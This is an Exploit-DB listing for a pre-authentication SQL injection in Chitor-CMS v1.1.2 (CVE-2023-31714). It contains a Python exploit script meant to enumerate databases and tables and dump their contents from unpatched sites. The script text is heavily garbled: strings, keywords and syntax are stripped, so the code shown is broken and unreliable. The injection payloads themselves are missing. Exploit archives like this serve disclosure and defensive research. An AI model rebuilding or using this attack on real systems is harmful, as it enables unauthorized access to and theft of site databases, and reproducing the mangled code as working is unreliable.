标题: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection EDB-ID: 51383 CVE: 2023-31714 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-20 漏洞利用脚本: #!/usr/bin/python3

#######################################################
#                                                     # 
#  Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection          #
#  Date: 2023/04/13               #
#  ExploitAuthor: msd0pe                                  #
#  Project: https://github.com/waqaskanju/Chitor-CMS  #
#  My Github: https://github.com/msd0pe-1             #
#  Patched the 2023/04/16: 69d3442 commit             #
#                                                     #
#######################################################

__description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.'
__author__ = 'msd0pe'
__version__ = '1.1'
__date__  

 
    PURPLE  
    BLUE  
    GREEN  
    OCRA  
    RED  
    CYAN  
    ENDC  
    BOLD  
    UNDERLINE  

 
    INFO    bcolorsOCRA  bcolorsBOLD    bcolorsENDC  bcolorsENDC  
    ERROR    bcolorsRED  bcolorsBOLD    bcolorsENDC  bcolorsENDC  
    GOOD    bcolorsGREEN  bcolorsBOLD    bcolorsENDC  bcolorsENDC  
    PROCESS    bcolorsBLUE  bcolorsBOLD    bcolorsENDC  bcolorsENDC  

 re
 requests
 optparse
 prettytable  PrettyTable

 url database table
    header   
    x  PrettyTable
    columns  
    payload    table    database  
    u  requestsgeturl  payload headersheader
    
        r  refindallutext
        r  rreplacesplit
         r  
            
        
             i  r
                columnsappendi
                
    
        
    xfield_names  columns
    payload    columnsreplacereplacereplacereplace    database    table  
    u  requestsgeturl  payload headersheader
    
        r  refindallutext
        r  rreplacesplit
         r  
            
        
             i  r
                i  isplit
                xadd_rowsi
     ValueError
        r  refindallutext
        r  rreplacesplit
         r  
            
        
             i  r
                i  isplit
                iappend
                xadd_rowsi        
    x

 url database
    header   
    x  PrettyTable
    xfield_names  
    payload    databaseencode  
    u  requestsgeturl  payload headersheader
    
        r  refindallutext
        r  rreplacesplit
         r  
            
        
             i  r
                xadd_rowi
    
        
    x

 url
    header   
    x  PrettyTable
    xfield_names  
    payload  
    u  requestsgeturl  payload headersheader
    
        r  refindallutext
        r  rreplacesplit
         r  
            
        
             i  r
                xadd_rowi
    
        
    x

 
    Menu  optparseOptionParserusage version  __version__
    Menuadd_option   dest 
    Menuadd_option action dest 
    Menuadd_option   dest 
    Menuadd_option action dest 
    Menuadd_option   dest 
    Menuadd_option action dest 
    options args  Menuparse_args

    Examples  optparseOptionGroupMenu  
    Menuadd_option_groupExamples

     args    options             
        Menuprint_help
        
          __description__
          bcolorsPURPLE  bcolorsBOLD    bcolorsENDC  bcolorsENDC    bcolorsRED  bcolorsBOLD    bcolorsENDC  bcolorsENDC
        
        

     args  
        
             optionsurl  
                 optionsl_databases  
                    ListDatabasesoptionsurl
                 optionsdatabase  
                     optionsl_tables  
                        ListTablesoptionsurl optionsdatabase
                     optionstable  
                         optionsdump  
                            DumpTableoptionsurl optionsdatabase optionstable
        
            

 __name__  
    
        Main

     KeyboardInterrupt
        
        infosPROCESS  
        
        exit URL: https://www.exploit-db.com/exploits/51383